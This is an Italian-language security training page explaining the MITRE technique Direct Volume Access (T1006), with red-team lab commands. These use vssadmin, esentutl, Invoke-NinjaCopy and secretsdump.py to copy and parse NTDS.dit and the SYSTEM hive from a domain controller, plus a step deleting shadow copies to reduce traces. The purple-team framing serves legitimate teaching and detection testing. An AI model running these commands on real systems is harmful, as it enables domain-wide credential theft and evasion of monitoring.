Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Aprile! Scopri di più
Direct Volume Access è una tecnica di Defense Evasion (TA0005) che consente a un avversario di leggere e scrivere dati direttamente sui volumi logici di un disco, scavalcando i controlli d'accesso del file system e i tool di monitoraggio che operano a livello di API Windows standard. In pratica, l'attaccante non apre un file attraverso il percorso canonico — passa invece per l'handle raw del volume (ad esempio \\.\C:), interagendo con le strutture dati NTFS in modo diretto.
Il risultato è duplice: i file bloccati dal sistema operativo, come NTDS.dit o il registro SAM, diventano accessibili senza interrompere i servizi che li tengono in uso, e al contempo le operazioni sfuggono ai filtri miniport dei driver di sicurezza che intercettano le normali chiamate I/O. Strumenti nativi di Windows come vssadmin, wbadmin ed esentutl permettono di creare copie shadow dei volumi e di estrarre file critici, mentre script PowerShell come NinjaCopy automatizzano l'accesso raw con poche righe di codice.
I dati MITRE documentano 2 gruppi APT, 1 software e 1 campagna che sfruttano questa tecnica, insieme a 2 mitigazioni raccomandate. La pericolosità risiede nella capacità di raccogliere credenziali di dominio — il dump dell'NTDS.dit equivale a compromettere ogni account Active Directory — mantenendo un profilo operativo basso grazie all'uso di strumenti legittimi già presenti sull'endpoint.
L'accesso diretto ai volumi è una tecnica che si replica agevolmente in laboratorio perché si appoggia quasi interamente a binari nativi di Windows. L'obiettivo tipico di un red team è dimostrare la possibilità di estrarre NTDS.dit da un domain controller senza che gli strumenti di monitoring file-level registrino l'operazione.
Il primo approccio, il più semplice e il più usato in natura, sfrutta il Volume Shadow Copy Service. Da un prompt elevato sul domain controller:
vssadmin create shadow /for=C:
Una volta creata la shadow copy, il percorso della copia sarà nell'output del comando. Per estrarre il database:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
E il relativo hive SYSTEM, necessario per decifrare gli hash:
copy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM
Dopo l'estrazione, pulisci la shadow copy per ridurre le tracce:
vssadmin delete shadows /shadow={ID_SHADOW}
Il secondo approccio utilizza esentutl (open source — incluso in Windows), il tool nativo per la gestione dei database Extensible Storage Engine. Questo binario può copiare file bloccati tramite il VSS senza creare esplicitamente una shadow copy visibile all'utente:
esentutl /y /vss C:\Windows\NTDS\ntds.dit /d C:\Temp\ntds.dit
Il terzo vettore, più stealth, è NinjaCopy, uno script PowerShell del progetto PowerSploit (open source) che legge direttamente le strutture NTFS del volume raw, bypassando completamente le API di Windows per l'accesso ai file. L'invocazione classica:
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\Temp\ntds.dit"
NinjaCopy apre un handle a \\.\C: e interpreta autonomamente la Master File Table, rendendo l'operazione invisibile ai minifilter driver — il cuore della tecnica T1006.
Per il parsing degli hash estratti, secretsdump.py di Impacket (open source) è lo strumento di riferimento:
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
In un esercizio di purple team, documenta quale dei tre approcci viene intercettato dall'EDR in uso e quale no: il delta è il valore operativo dell'assessment.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo